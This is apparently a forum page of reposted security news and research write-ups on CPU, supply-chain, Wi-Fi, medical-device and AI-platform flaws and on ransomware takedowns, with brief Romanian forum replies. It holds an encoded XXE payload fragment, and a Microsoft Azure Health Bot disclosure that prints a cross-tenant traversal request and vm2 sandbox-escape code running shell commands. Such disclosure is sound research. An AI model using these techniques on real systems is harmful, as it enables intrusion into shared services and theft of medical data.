ICAgPCFFTlRJVFkgZW50IFNZU1RFTSAiPyIgTkRBVEEgYWFhPiAgIApdPgo8dGVzdDEgbG9jYXRpb249ImVudCIvPg=="></iframe><br/> </body> ZIP archive for testing: libxslt.zip. The Bounty All findings were immediately reported to the vendors. Safari Apple implemented the sandbox patch. Assigned CVE: CVE-2023-40415. Reward: $25,000. 💰 Chrome Google implemented the patch and enforced security for documents loaded by the XSL’s document() function. Assigned CVE: CVE-2023-4357. Reward: $3,000. 💸 Links https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40415 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4357 https://issues.chromium.org/issues/40066577 Feel free to write your thoughts about the article on our X page. Follow @ptswarm so you don’t miss our future research and other publications. Source: https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/

Modern CPUs from Intel, including Raptor Lake and Alder Lake, have been found vulnerable to a new side-channel attack that could be exploited to leak sensitive information from the processors. The attack, codenamed Indirector by security researchers Luyi Li, Hosein Yavarzadeh, and Dean Tullsen, leverages shortcomings identified in Indirect Branch Predictor (IBP) and the Branch Target Buffer (BTB) to bypass existing defenses and compromise the security of the CPUs. "The Indirect Branch Predictor (IBP) is a hardware component in modern CPUs that predicts the target addresses of indirect branches," the researchers noted. "Indirect branches are control flow instructions whose target address is computed at runtime, making them challenging to predict accurately. The IBP uses a combination of global history and branch address to predict the target address of indirect branches." The idea, at its core, is to identify vulnerabilities in IBP to launch precise Branch Target Injection (BTI) attacks – aka Spectre v2 (CVE-2017-5715) – which target a processor's indirect branch predictor to result in unauthorized disclosure of information to an attacker with local user access via a side-channel. This is accomplished by means of a custom tool called iBranch Locator that's used to locate any indirect branch, followed by carrying out precision targeted IBP and BTP injections to perform speculative execution. Intel, which was made aware of the findings in February 2024, has since informed other affected hardware/software vendors about the issue. As mitigations, it's recommended to make use of the Indirect Branch Predictor Barrier (IBPB) more aggressively and harden the Branch Prediction Unit (BPU) design by incorporating more complex tags, encryption, and randomization. The research comes as Arm CPUs have been found susceptible to a speculative execution attack of their own called TIKTAG that targets the Memory Tagging Extension (MTE) to leak data with over a 95% success rate in less than four seconds. The study "identifies new TikTag gadgets capable of leaking the MTE tags from arbitrary memory addresses through speculative execution," researchers Juhee Kim, Jinbum Park, Sihyeon Roh, Jaeyoung Chung, Youngjoo Lee, Taesoo Kim, and Byoungyoung Lee said. "With TikTag gadgets, attackers can bypass the probabilistic defense of MTE, increasing the attack success rate by close to 100%." In response to the disclosure, Arm said "MTE can provide a limited set of deterministic first line defenses, and a broader set of probabilistic first line defenses, against specific classes of exploits." "However, the probabilistic properties are not designed to be a full solution against an interactive adversary that is able to brute force, leak, or craft arbitrary Address Tags." Source: https://thehackernews.com/2024/07/new-intel-cpu-vulnerability-indirector.html

A trio of security flaws has been uncovered in the CocoaPods dependency manager for Swift and Objective-C Cocoa projects that could be exploited to stage software supply chain attacks, putting downstream customers at severe risks. The vulnerabilities allow "any malicious actor to claim ownership over thousands of unclaimed pods and insert malicious code into many of the most popular iOS and macOS applications," E.V.A Information Security researchers Reef Spektor and Eran Vaknin said in a report published today. The Israeli application security firm said the three issues have since been patched by CocoaPods as of October 2023. It also resets all user sessions at the time in response to the disclosures. One of the vulnerabilities is CVE-2024-38368 (CVSS score: 9.3), which makes it possible for an attacker to abuse the "Claim Your Pods" process and take control of a package, effectively allowing them to tamper with the source code and introduce malicious changes. However, this required that all prior maintainers have been removed from the project. The roots of the problem go back to 2014, when a migration to the Trunk server left thousands of packages with unknown (or unclaimed) owners, permitting an attacker to use a public API for claiming pods and an email address that was available in the CocoaPods source code ("unclaimed-pods@cocoapods.org") to take over control. The second bug is even more critical (CVE-2024-38366, CVSS score: 10.0) and takes advantage of an insecure email verification workflow to run arbitrary code on the Trunk server, which could then be used to manipulate or replace the packages. Also identified in the service is a second problem in the email address verification component (CVE-2024-38367, CVSS score: 8.2) that could entice a recipient into clicking on a seemingly-benign verification link, when, in reality, it reroutes the request to an attacker-controlled domain in order to gain access to a developer's session tokens. Making matters worse, this can be upgraded into a zero-click account takeover attack by spoofing an HTTP header – i.e., modifying the X-Forwarded-Host header field – and taking advantage of misconfigured email security tools. "We have found that almost every pod owner is registered with their organizational email on the Trunk server, which makes them vulnerable to our zero-click takeover vulnerability," the researchers said. This is not the first time CocoaPods has come under the scanner. In March 2023, Checkmarx revealed that an abandoned sub-domain associated with the dependency manager ("cdn2.cocoapods[.]org") could have been hijacked by an adversary via GitHub Pages with an aim to host their payloads. Source: https://thehackernews.com/2024/07/critical-flaws-in-cocoapods-expose-ios.html

Threat actors are exploiting a novel attack technique in the wild that leverages specially crafted management saved console (MSC) files to gain full code execution using Microsoft Management Console (MMC) and evade security defenses. Elastic Security Labs has codenamed the approach GrimResource after identifying an artifact ("sccm-updater.msc") that was uploaded to the VirusTotal malware scanning platform on June 6, 2024. "When a maliciously crafted console file is imported, a vulnerability in one of the MMC libraries can lead to running adversary code, including malware," the company said in a statement shared with The Hacker News. "Attackers can combine this technique with DotNetToJScript to gain arbitrary code execution, which can lead to unauthorized access, system takeover and more." The use of uncommon file types as a malware distribution vector is seen as an alternative attempt by adversaries to get around security guardrails erected by Microsoft in recent years, including disabling macros by default in Office files downloaded from the internet. Last month, South Korean cybersecurity firm Genians detailed the use of a malicious MSC file by the North Korea-linked Kimsuky hacking group to deliver malware. GrimResource, on the other hand, exploits a cross-site scripting (XSS) flaw present in the apds.dll library to execute arbitrary JavaScript code in the context of MMC. The XSS flaw was originally reported to Microsoft and Adobe in late 2018, although it remains unpatched to date. This is accomplished by adding a reference to the vulnerable APDS resource in the StringTable section of a malicious MSC file, which, when opened using MMC, triggers the execution of JavaScript code. The technique not only bypasses ActiveX warnings, it can be combined with DotNetToJScript to gain arbitrary code execution. The analyzed sample uses this approach to launch a .NET loader component dubbed PASTALOADER that ultimately paves the way for Cobalt Strike. "After Microsoft disabled Office macros by default for internet-sourced documents, other infection vectors like JavaScript, MSI files, LNK objects, and ISOs have surged in popularity," security researchers Joe Desimone and Samir Bousseaden said. "However, these other techniques are scrutinized by defenders and have a high likelihood of detection. Attackers have developed a new technique to execute arbitrary code in Microsoft Management Console using crafted MSC files." Source: https://thehackernews.com/2024/06/new-attack-technique-exploits-microsoft.html

Cybersecurity researchers have detailed a now-patched security flaw affecting the Ollama open-source artificial intelligence (AI) infrastructure platform that could be exploited to achieve remote code execution. Tracked as CVE-2024-37032, the vulnerability has been codenamed Probllama by cloud security firm Wiz. Following responsible disclosure on May 5, 2024, the issue was addressed in version 0.1.34 released on May 7, 2024. Ollama is a service for packaging, deploying, running large language models (LLMs) locally on Windows, Linux, and macOS devices. At its core, the issue relates to a case of insufficient input validation that results in a path traversal flaw an attacker could exploit to overwrite arbitrary files on the server and ultimately lead to remote code execution. The shortcoming requires the threat actor to send specially crafted HTTP requests to the Ollama API server for successful exploitation. It specifically takes advantage of the API endpoint "/api/pull" – which is used to download a model from the official registry or from a private repository – to provide a malicious model manifest file that contains a path traversal payload in the digest field. This issue could be abused not only to corrupt arbitrary files on the system, but also to obtain code execution remotely by overwriting a configuration file ("etc/ld.so.preload") associated with the dynamic linker ("ld.so") to include a rogue shared library and launch it every time prior to executing any program. While the risk of remote code execution is reduced to a great extent in default Linux installations due to the fact that the API server binds to localhost, it's not the case with docker deployments, where the API server is publicly exposed. "This issue is extremely severe in Docker installations, as the server runs with `root` privileges and listens on `0.0.0.0` by default – which enables remote exploitation of this vulnerability," security researcher Sagi Tzadik said. Compounding matters further is the inherent lack of authentication associated with Ollama, thereby allowing an attacker to exploit a publicly-accessible server to steal or tamper with AI models, and compromise self-hosted AI inference servers. This also requires that such services are secured using middleware like reverse proxies with authentication. Wiz said it identified over 1,000 Ollama exposed instances hosting numerous AI models without any protection. "CVE-2024-37032 is an easy-to-exploit remote code execution that affects modern AI infrastructure," Tzadik said. "Despite the codebase being relatively new and written in modern programming languages, classic vulnerabilities such as path traversal remain an issue." The development comes as AI security company Protect AI warned of over 60 security defects affecting various open-source AI/ML tools, including critical issues that could lead to information disclosure, access to restricted resources, privilege escalation, and complete system takeover. The most severe of these vulnerabilities is CVE-2024-22476 (CVSS score 10.0), an SQL injection flaw in Intel Neural Compressor software that could allow attackers to download arbitrary files from the host system. It was addressed in version 2.5.0. Source: https://thehackernews.com/2024/06/critical-rce-vulnerability-discovered.html

Apple has announced the launch of a "groundbreaking cloud intelligence system" called Private Cloud Compute (PCC) that's designed for processing artificial intelligence (AI) tasks in a privacy-preserving manner in the cloud. The tech giant described PCC as the "most advanced security architecture ever deployed for cloud AI compute at scale." PCC coincides with the arrival of new generative AI (GenAI) features – collectively dubbed Apple Intelligence, or AI for short – that the iPhone maker unveiled in its next generation of software, including iOS 18, iPadOS 18, and macOS Sequoia. All of the Apple Intelligence features, both the ones that run on-device and those that rely on PCC, leverage in-house generative models trained on "licensed data, including data selected to enhance specific features, as well as publicly available data collected by our web-crawler, AppleBot." With PCC, the idea is to essentially offload complex requests that require more processing power to the cloud, at the same time ensure that data is never retained or exposed to any third-party, including Apple, a mechanism the company refers to as stateless computation. The architecture that underpins PCC is a custom-built server node that brings together Apple silicon, Secure Enclave, and Secure Boot against the backdrop of a hardened operating system that's tailor made for running Large Language Model (LLM) inference workloads. This not only presents an "extremely narrow attack surface," according to Apple, but also allows it to leverage Code Signing and sandboxing to ensure that only authorized and cryptographically measured code is executable on the data center and that the user data doesn't break out of the confines of the trust perimeter. "Technologies such as Pointer Authentication Codes and sandboxing act to resist such exploitation and limit an attacker's horizontal movement within the PCC node," it said. "The inference control and dispatch layers are written in Swift, ensuring memory safety, and use separate address spaces to isolate initial processing of requests." "This combination of memory safety and the principle of least privilege removes entire classes of attacks on the inference stack itself and limits the level of control and capability that a successful attack can obtain." Another notable security and privacy measure is the routing of PCC requests through an Oblivious HTTP (OHTTP) relay that's operated by an independent party to conceal the origin (i.e., IP address) of the requests, effectively preventing an attacker from using the IP address to correlate the requests to a specific individual. It's worth pointing out that Google also uses OHTTP relays as part of its Privacy Sandbox initiative as well as for Safe Browsing in the Chrome web browser to secure users from visiting potentially malicious sites. Apple further noted that independent security experts can inspect the code that runs on Apple silicon servers to verify the privacy aspects, adding PCC cryptographically ensures that its devices do not communicate with a server unless the software has been publicly logged for inspection. "Every production Private Cloud Compute software image will be published for independent binary inspection — including the OS, applications, and all relevant executables, which researchers can verify against the measurements in the transparency log," the company said. "Software will be published within 90 days of inclusion in the log, or after relevant software updates are available, whichever is sooner." Present alongside Apple Intelligence is an integration with OpenAI's ChatGPT into Siri and systemwide Writing Tools to generate text and images based on user-provided prompts, with Apple pointing out the privacy protections baked into the process for those who opt to access the virtual assistant. "Their IP addresses are obscured, and OpenAI won't store requests," Apple said. "ChatGPT's data-use policies apply for users who choose to connect their account." Apple Intelligence, which is expected to be generally available later this fall, will be limited to iPhone 15 Pro, iPhone 15 Pro Max, and iPad and Mac with M1 and later, that have Siri and device language set to U.S. English. Some of the other new privacy features Apple has introduced include options to lock and hide specific apps behind Face ID, Touch ID, or a passcode; let users choose which contacts to share with an app; a dedicated Passwords app; and a refreshed Privacy & Security section in Settings. According to MacRumors, the Passwords app also features a setting to automatically upgrade existing accounts to passkeys. On top of that, Apple has replaced the Private Wi-Fi Address toggle for Wi-Fi networks with a new Rotate Wi-Fi Address setting to minimize tracking. Source: https://thehackernews.com/2024/06/apple-integrates-openais-chatgpt-into.html

Link-uri: https://www.facebook.com/help/582999911881572?cms_id=582999911881572 https://www.facebook.com/help/1074937925896061 Eu am gasit aceste pagini. Poate iti sunt de ajutor. Eu nu am cont pe facebook si nici nu stiu cum sta treaba aceasta cu recuperarea contului. Ai incercat odata sa vezi daca ai cum sa iti recuperezi contul folosind aceasta pagina ? https://www.facebook.com/hacked?_rdr

Urmatoarele variante sunt: 1. Nu functioneaza mecanismul de resetare a parolei. 2. Ori careva are acces la contul tau si ti-o schimbat adresa de email si de aceea nu mai primesti link-ul de resetare a parolei. 3. Ultima varianta, nu mai exista contul respectiv. Incearca sa iti creezi un cont de a testa mecanismul "forgot password ? " . Daca nu primesti nici un link pe adresa de email, e clar ca e ceva cu site-ul lor. Daca primesti link-ul, atunci este o problema cu contul tau. Ultima metoda ca sa iti recuperezi contul, este sa iei legatura cu cei de la support. Doar ei te mai pot ajuta. Bafta

Eu cred ca el vrea sa "recupereze" parola ... intr-un alt mod ... si nu a lui

Ai vazut de cand este postarea ? Si pe langa acest fapt, are doar o singura postare

Asa e

Mi s-a parut interesant articolul + video-ul, de aceea am postat. Imi dau seama ca nu este usor un astfel de atac .... cum zici si tu.

Cred ca este cainele lui @Zatarra .... a facut iar prostii.

Researchers have discovered a new security vulnerability stemming from a design flaw in the IEEE 802.11 Wi-Fi standard that tricks victims into connecting to a less secure wireless network and eavesdrop on their network traffic. The SSID Confusion attack, tracked as CVE-2023-52424, impacts all operating systems and Wi-Fi clients, including home and mesh networks that are based on WEP, WPA3, 802.11X/EAP, and AMPE protocols. The method "involves downgrading victims to a less secure network by spoofing a trusted network name (SSID) so they can intercept their traffic or carry out further attacks," TopVPN said, which collaborated with KU Leuven professor and researcher Mathy Vanhoef. "A successful SSID Confusion attack also causes any VPN with the functionality to auto-disable on trusted networks to turn itself off, leaving the victim's traffic exposed." The issue underpinning the attack is the fact that the Wi-Fi standard does not require the network name (SSID or the service set identifier) to always be authenticated and that security measures are only required when a device opts to join a particular network. The net effect of this behavior is that an attacker could deceive a client into connecting to an untrusted Wi-Fi network than the one it intended to connect to by staging an adversary-in-the-middle (AitM) attack. "In our attack, when the victim wants to connect to the network TrustedNet, we trick it into connecting to a different network WrongNet that uses similar credentials," researchers Héloïse Gollier and Vanhoef outlined. "As a result, the victim's client will think, and show the user, that it is connected to TrustedNet, while in reality it is connected to WrongNet." In other words, even though passwords or other credentials are mutually verified when connecting to a protected Wi-Fi network, there is no guarantee that the user is connecting to the network they want to. There are certain prerequisites to pulling off the downgrade attack - The victim wants to connect to a trusted Wi-Fi network There is a rogue network available with the same authentication credentials as the first The attacker is within range to perform an AitM between the victim and the trusted network Proposed mitigations to counter SSID Confusion include an update to the 802.11 Wi-Fi standard by incorporating the SSID as part of the 4-way handshake when connecting to protected networks, as well as improvements to beacon protection that allow a "client [to] store a reference beacon containing the network's SSID and verify its authenticity during the 4-way handshake." Beacons refer to management frames that a wireless access point transmits periodically to announce its presence. It contains information such as the SSID, beacon interval, and the network's capabilities, among others. "Networks can mitigate the attack by avoiding credential reuse across SSIDs," the researchers said. "Enterprise networks should use distinct RADIUS server CommonNames, while home networks should use a unique password per SSID." The findings come nearly three months after two authentication bypass flaws were disclosed in open-source Wi-Fi software such as wpa_supplicant and Intel's iNet Wireless Daemon (IWD) that could deceive users into joining a malicious clone of a legitimate network or allow an attacker to join a trusted network without a password. Last August, Vanhoef also revealed that the Windows client for Cloudflare WARP could be tricked into leaking all DNS requests, effectively allowing an adversary to spoof DNS responses and intercept nearly all traffic. Source: https://thehackernews.com/2024/05/new-wi-fi-vulnerability-enabling.html

Security researchers have disclosed almost a dozen security flaws impacting the GE HealthCare Vivid Ultrasound product family that could be exploited by malicious actors to tamper with patient data and even install ransomware under certain circumstances. "The impacts enabled by these flaws are manifold: from the implant of ransomware on the ultrasound machine to the access and manipulation of patient data stored on the vulnerable devices," operational technology (OT) security vendor Nozomi Networks said in a technical report. The security issues impact the Vivid T9 ultrasound system and its pre-installed Common Service Desktop web application, which is exposed on the localhost interface of the device and allows users to perform administrative actions. They also affect another software program called EchoPAC that's installed on a doctor's Windows workstation to help them access multi-dimensional echo, vascular, and abdominal ultrasound images. That being said, successful exploitation of the flaws requires a threat actor to first gain access to the hospital environment and physically interact with the device, after which they can be exploited to achieve arbitrary code execution with administrative privileges. In a hypothetical attack scenario, a malicious actor could lock out the Vivid T9 systems by implanting a ransomware payload and even exfiltrate or tamper with patient data. The most severe of the vulnerabilities is CVE-2024-27107 (CVSS score: 9.6), which concerns the use of hard-coded credentials. Other identified shortcomings relate to command injection (CVE-2024-1628), execution with unnecessary privileges (CVE-2024-27110 and CVE-2020-6977), path traversal (CVE-2024-1630 and CVE-2024-1629), and protection mechanism failure (CVE-2020-6977). The exploit chain devised by Nozomi Networks takes advantage of CVE-2020-6977 to get local access to the device and then weaponizes CVE-2024-1628 to attain code execution. "However, to speed up the process, [...] an attacker may also abuse the exposed USB port and attach a malicious thumb drive that, by emulating the keyboard and mouse, automatically performs all necessary steps at faster-than-human speed," the company said. Alternatively, an adversary could obtain access to a hospital's internal network using stolen VPN credentials gathered via other means (e.g., phishing or data leak), scan for vulnerable installations of EchoPAC, and then exploit CVE-2024-27107 to gain unfettered access to the patient's database, effectively compromising its confidentially, integrity, and availability. GE HealthCare, in a set of advisories, said "existing mitigations and controls" reduce the risks posed by these flaws to acceptable levels. "In the unlikely event a malicious actor with physical access could render the device unusable, there would be clear indicators of this to the intended user of the device," it noted. "The vulnerability can only be exploited by someone with direct, physical access to the device." The disclosure comes weeks after security flaws were also uncovered in the Merge DICOM Toolkit for Windows (CVE-2024-23912, CVE-2024-23913, and CVE-2024-23914) that could used to trigger a denial-of-service (DoS) condition on the DICOM service. The issues have been addressed in version v5.18 [PDF] of the library. It also follows the discovery of a maximum-severity security flaw in the Siemens SIMATIC Energy Manager (EnMPro) product (CVE-2022-23450, CVSS score: 10.0) that could be exploited by a remote attacker to execute arbitrary code with SYSTEM privileges by sending maliciously crafted objects. "An attacker successfully exploiting this vulnerability could remotely execute code and gain complete control over an EnMPro server," Claroty security researcher Noam Moshe said. Users are highly recommended to update to version V7.3 Update 1 or later as all versions prior to it contain the insecure deserialization vulnerability. Security weaknesses have also been unearthed in the ThroughTek Kalay Platform integrated within Internet of Things (IoT) devices (from CVE-2023-6321 through CVE-2023-6324) that allows an attacker to escalate privileges, execute commands as root, and establish a connection with a victim device. "When chained together, these vulnerabilities facilitate unauthorized root access from within the local network, as well as remote code execution to completely subvert the victim device," Romanian cybersecurity company Bitdefender said. "Remote code execution is only possible after the device has been probed from the local network." The vulnerabilities, patched as of April 2024 following responsible disclosure in October 2023, have been found to impact baby monitors, and indoor security cameras from vendors like Owlet, Roku, and Wyze, permitting threat actors to daisy-chain them in order to execute arbitrary commands on the devices. "The ramifications of these vulnerabilities extend far beyond the realm of theoretical exploits, as they directly impact on the privacy and safety of users relying on devices powered by ThroughTek Kalay," the company added. Source: https://thehackernews.com/2024/05/researchers-uncover-11-security-flaws.html

Law enforcement agencies have officially seized control of the notorious BreachForums platform, an online bazaar known for peddling stolen data, for the second time within a year. The website ("breachforums[.]st") has been replaced by a seizure banner stating the clearnet cybercrime forum is under the control of the U.S. Federal Bureau of Investigation (FBI). The operation is the result of a collaborative effort from authorities in Australia, Iceland, New Zealand, Switzerland, the U.K., the U.S., and Ukraine. The FBI has also taken control of the Telegram channel operated by Baphomet, who became the administrator of the forum following the arrest of his predecessor Conor Brian Fitzpatrick (aka pompompurin) in March last year. It's worth noting a prior iteration of BreachForums, hosted at breached.vc/.to/.co and managed by pompompurin, was seized by law enforcement in late June 2023. "This Telegram chat is under the control of the FBI," a message posted on the channel reads. "The BreachForums website has been taken down by the FBI and DOJ with assistance from international partners." "We are reviewing the site's backend data. If you have information to report about cyber criminal activity on BreachForums, please contact us: https://t.me/fbi_breachforums breachforums@fbi.gov breachforums.ic3.gov." It's currently not clear if Baphomet and his other fellow administrator ShinyHunters have been arrested, although the seizure banner depicts the profile pictures associated with both of them as behind bars. "From June 2023 until May 2024, BreachForums (hosted at breachforums.st/.cx/.is/.vc and run by ShinyHunters) was operating as a clearnet marketplace for cybercriminals to buy, sell, and trade contraband, including stolen access devices, means of identification, hacking tools, breached databases, and other illegal services," the agencies said. BreachForums emerged in March 2022 following the law enforcement dismantling of RaidForums and the arrest of its owner "Omnipotent." Following its shutdown in 2023, it resurfaced again after Baphomet teamed up with ShinyHunters to launch a new site under the same name. Source: https://thehackernews.com/2024/05/fbi-seizes-breachforums-again-urges.html

The U.K. National Crime Agency (NCA) has unmasked the administrator and developer of the LockBit ransomware operation, revealing it to be a 31-year-old Russian national named Dmitry Yuryevich Khoroshev. In addition, Khoroshev has been sanctioned by the U.K. Foreign, Commonwealth and Development Office (FCD), the U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC), and the Australian Department of Foreign Affairs. Europol, in a press statement, said authorities are in possession of over 2,500 decryption keys and are continuing to contact LockBit victims to offer support. Khoroshev, who went by the monikers LockBitSupp and putinkrab, has also become the subject of asset freezes and travel bans, with the U.S. Department of State offering a reward of up to $10 million for information leading to his arrest and/or conviction. Previously, the agency had announced reward offers of up to $15 million seeking information leading to the identity and location of key leaders of the LockBit ransomware variant group as well as information leading to the arrests and/or convictions of the group's members. Concurrently, an indictment unsealed by the Department of Justice (DoJ) has charged Khoroshev on 26 counts, including one count of conspiracy to commit fraud, extortion, and related activity in connection with computers; one count of conspiracy to commit wire fraud; eight counts of intentional damage to a protected computer; eight counts of extortion in relation to confidential information from a protected computer; and eight counts of extortion in relation to damage to a protected computer. In all, the charges carry a maximum penalty of 185 years in prison. Each of the charges further carries a monetary penalty that's the greatest of $250,000, pecuniary gain to the offender, or pecuniary harm to the victim. With the latest indictment, a total of six members affiliated with the LockBit conspiracy have been charged, including Mikhail Vasiliev, Mikhail Matveev, Ruslan Magomedovich Astamirov, Artur Sungatov and Ivan Gennadievich Kondratiev. "Today's announcement puts another huge nail in the LockBit coffin and our investigation into them continues," NCA Director General Graeme Biggar said. "We are also now targeting affiliates who have used LockBit services to inflict devastating ransomware attacks on schools, hospitals and major companies around the world." LockBit, which was one of the most prolific ransomware-as-a-service (RaaS) groups, was dismantled as part of a coordinated operation dubbed Cronos earlier this February. It's estimated to have targeted over 2,500 victims worldwide and received more than $500 million in ransom payments. "LockBit ransomware has been used against Australian, U.K. and U.S. businesses, comprising 18% of total reported Australian ransomware incidents in 2022-23 and 119 reported victims in Australia," Penny Wong, Minister for Foreign Affairs of Australia, said. Under the RaaS business model, LockBit licenses its ransomware software to affiliates in exchange for an 80% cut of the paid ransoms. The e-crime group is also known for its double extortion tactics, where sensitive data is exfiltrated from victim networks before encrypting the computer systems and demanding ransom payments. Khoroshev, who started LockBit around September 2019, is believed to have netted at least $100 million in disbursements as part of the scheme over the past four years. In an interesting twist, the indictment has also accused Khoroshev and his co-conspirators of deploying LockBit against multiple Russian victims, stating the defendant demanded identification documents from the recruited affiliates, and even got in touch with law enforcement after the takedown to offer information regarding the identity of his RaaS competitors. "The true impact of LockBit's criminality was previously unknown, but data obtained from their systems showed that between June 2022 and February 2024, more than 7,000 attacks were built using their services," the NCA said. "The top five countries hit were the U.S., U.K., France, Germany and China." LockBit's attempts to resurface after the law enforcement action have been unsuccessful at best, prompting it to post old and fake victims on its new data leak site. "LockBit have created a new leak site on which they have inflated apparent activity by publishing victims targeted prior to the NCA taking control of its services in February, as well as taking credit for attacks perpetrated using other ransomware strains," the agency noted. "The group has attempted to rebuild over the last two months, however [...] they are currently running at limited capacity and the global threat from LockBit has significantly reduced." The RaaS scheme is estimated to have encompassed 194 affiliates until February 24, out of which 148 built attacks and 119 engaged in ransom negotiations with victims. "Of the 119 who began negotiations, there are 39 who appear not to have ever received a ransom payment," the NCA noted. "Seventy-five did not engage in any negotiation, so also appear not to have received any ransom payments." The number of active LockBit affiliates has since dropped to 69, the NCA said, adding LockBit did not routinely delete stolen data once a ransom was paid and that it uncovered numerous instances where the decryptor provided to victims failed to work as expected. "As a core LockBit group leader and developer of the LockBit ransomware, Khoroshev has performed a variety of operational and administrative roles for the cybercrime group, and has benefited financially from the LockBit ransomware attacks," the U.S. Treasury Department said. "Khoroshev has facilitated the upgrading of the LockBit infrastructure, recruited new developers for the ransomware, and managed LockBit affiliates. He is also responsible for LockBit's efforts to continue operations after their disruption by the U.S. and its allies earlier this year." (The story was updated after publication to include additional information related to Khoroshev's indictment.) Found this article interesting? Follow us on Twitter  and LinkedIn to read more exclusive content we post. Source: https://thehackernews.com/2024/05/russian-hacker-dmitry-khoroshev.html

We have discovered multiple security vulnerabilities in the Azure Health Bot service, a patient-facing chatbot that handles medical information. The vulnerabilities, if exploited, could allow access to sensitive infrastructure and confidential medical data. All vulnerabilities have been fixed quickly following our report to Microsoft. Microsoft has not detected any sign of abuse of these vulnerabilities. We want to thank the people from Microsoft for their cooperation in remediating these issues: Dhawal, Kirupa, Gaurav, Madeline, and the engineering team behind the service. The first vulnerability allowed access to authentication credentials belonging to the customers. With continued research, we’ve found vulnerabilities allowing us to take control of a backend server of the service. That server is shared across multiple customers and has access to several databases that contain information belonging to multiple tenants. Vulnerabilities Reported Multiple sandbox escapes, unrestricted code execution as root on the bot backend Unrestricted access to authentication secrets & integration auth providers Unrestricted memory read in the bot backend, exposing sensitive secrets & cross tenant data Unrestricted deletion of other tenants' public resources The Discovery The initial research started at the Azure Health Bot management portal website. Skimming through the features available, we saw that it’s possible to connect your bot to remote data sources, and also provide authentication details. Since customers would likely connect their bot to 3rd party data, such as patient databases, appointment calendars, and so forth, it’s a very interesting target for an attacker. It’s unlikely to imagine a scenario where the customers wouldn’t want to connect the bot to their data. After fiddling with this feature, we noticed something interesting in the request that retrieves our data connection details and auth secrets. This is what a regular request looks like: https://portal-eastus.healthbot.microsoft.com/v4/test-301x6x6/integration/data-connections/1679070537717/ In this URL, “test-301x6x6” is our unique health bot instance ID, and “1679070537717” is the ID of the unique data connection we created. The response to this request was the following JSON: { "odata.metadata": "https://hbstenant2steausprod.table.core.windows.net/$metadata#test301x6x6/@Element", "etag": "W/\"datetime'2023-03-17T17%3A08%3A44.7784337Z'\"", "partitionKey": "DataConnection", "rowKey": "1679070537717", "timestamp": "2023-03-17T17:08:44.7784337Z", "type": "custom", "name": "test data connection", "description": "desc", "base_url": "https://website.com/a", "auth_provider": "", "static_parameters": "[{\"type\":\"header\",\"key\":\"Test\",\"value\":\"true\"}]" } People familiar with Azure will recognize this as an Azure Table API response. And it makes sense, the service stores our connection data in the Azure Table service, and it pulls that data directly from there. Our intuition was to start toying with the ID number of our data connection. We believe that the data connections of all customers are in the same table, and if we can query whatever ID we want from the table, we can view the data connections of other customers. Per the Azure Table API documentation, here’s how a request to retrieve data from a table looks like: https://myaccount.table.core.windows.net/tableName(PartitionKey='<partition-key>',RowKey='<row-key>') So here we have 3 variables we must fill: table name partition key row key We have all the required variables since the previous Table API response discloses all that information. Our guess was, that was the URL the backend server uses to get the information behind the scenes: https://hbstenant2steausprod.table.core.windows.net/test301x6x6(PartitionKey=’DataConnection’,RowKey=’1679070537717’) Here you can see: hbstenant2steausprod - the account name Microsoft used for storing the data. test301x6x6 - our Azure health bot instance ID. This is not a secret. (PartitionKey=’DataConnection’,RowKey=’1679070537717’): Pulling DataConnection with the ID from the request. The input in our control is the ID. The idea was to send an ID that would allow us to “break out” of our tenant and read other tenants' data. How do we do that? Since it’s all appended to a URL, the idea was to leverage URL traversal to cancel out the prepended information added by the server, and then add our own: GET /v4/test-301x6x6/integration/data-connections/%2F..%2FotherTenant(PartitionKey='DataConnection',RowKey='1679126391688/ As you can see, we encoded the slashes (%2F) which were injected into the URL, effectively turning the request into: https://hbstenant2steausprod.table.core.windows.net/test301x6x6(PartitionKey=’DataConnection’,RowKey=’1679070537717/../otherTenant(PartitionKey='DataConnection',RowKey='1679126391688') And voila! This request successfully returned the connection data of the other tenant. ‍ Hacking The Bot Backend - 3 ways to pwn the Node.js vm2 sandbox ‍ Exploring further into the service, we saw that you can execute your JavaScript code in an isolated environment. This feature lets you process data coming from the chat as part of the conversation with the end customer. We started by doing simple JS recon inside the sandbox - looking at global variables, we figured we were running inside a vm2 sandbox, a popular Node.js sandboxing library that has since been discontinued due to multiple, unrelated security flaws. The goal was simple: to be able to execute shell commands and try to find a way to access cross-tenant data. How do you usually execute shell commands with Node.js? Simple, you import the child_process module and call exec/execSync: require('child_process').execSync('id') ‍ But you didn’t think it’d be that easy, did you? In general, require inside the vm2 sandbox is a patched version that doesn’t let you import anything harmful. However, Microsoft wanted to provide a few standard modules to make your life easier. So what we have is a custom require function, which has a very specific whitelist of boring modules. But we wanted to understand what’s going on under the hood. Lucky for us, Javascript lets you view the source code of any function. You call .toString() on the function, and voila, you get the source code: (packageName) => { // Do binary search in the allow list of packages if (packagesAllowedList && _.indexOf(packagesAllowedList, packageName, true) < 0) { throw new Error(`**Usage of the '${packageName}' package is not allowed. Please contact your system administrator**`); } return require(packageName); } Looks pretty harmless at first glance. It’s a simple check if the required module is in the whitelisted array, and if it is, the original Node.js require function will be called. Well, if you look closer, they called _.indexOf() instead of the native array indexOf function for some reason. And _.indexOf() is a function from the underscore module. Which is whitelisted. Can you see where we’re going with this? Bypassing the whitelist and achieving remote code execution is no problem when you can just override the indexOf function, which is conveniently already present as a global, you don’t even need to import it. underscore.indexOf=function(){ return 10; }; // Always return 10 - bypass the if condition require('child_process').execSync('id') // Code executed! And then: ‍ Since that backend is shared, we were running as root inside a server that processed the chats of other customers. All research was done in the “debug” environment and was done carefully to not expose any sensitive information. Microsoft quickly patched the bug within 24 hours, but we’re not done with this sandbox yet. ‍ Underscore strikes again After Microsoft patched the require() flaw, we dove deeper into understanding the mechanics of the vm2 sandbox. We knew that the modules that are whitelisted are part of the unisolated Node.js root context, the idea was to look into each module individually and try to find interesting functionalities that can be abused. We spent a few hours reading the documentation and code of all whitelisted modules, most of them were just boring data parsing libraries that didn’t help. But then something in Underscore.js caught our attention: Hmm, a function that compiles JavaScript templates, with an arbitrary code execution feature. We’re sensing a pattern here. To understand why it’s interesting, you need to understand a simple concept of how the vm2 sandboxing works. In simple terms, they create a “bridge” between the sandbox and the host, and everything you execute inside the sandbox goes through proxy functions which restrict what you can do to a very limited set of features. For example, if we try to access the Node.js global “process” variable from within the sandbox, the 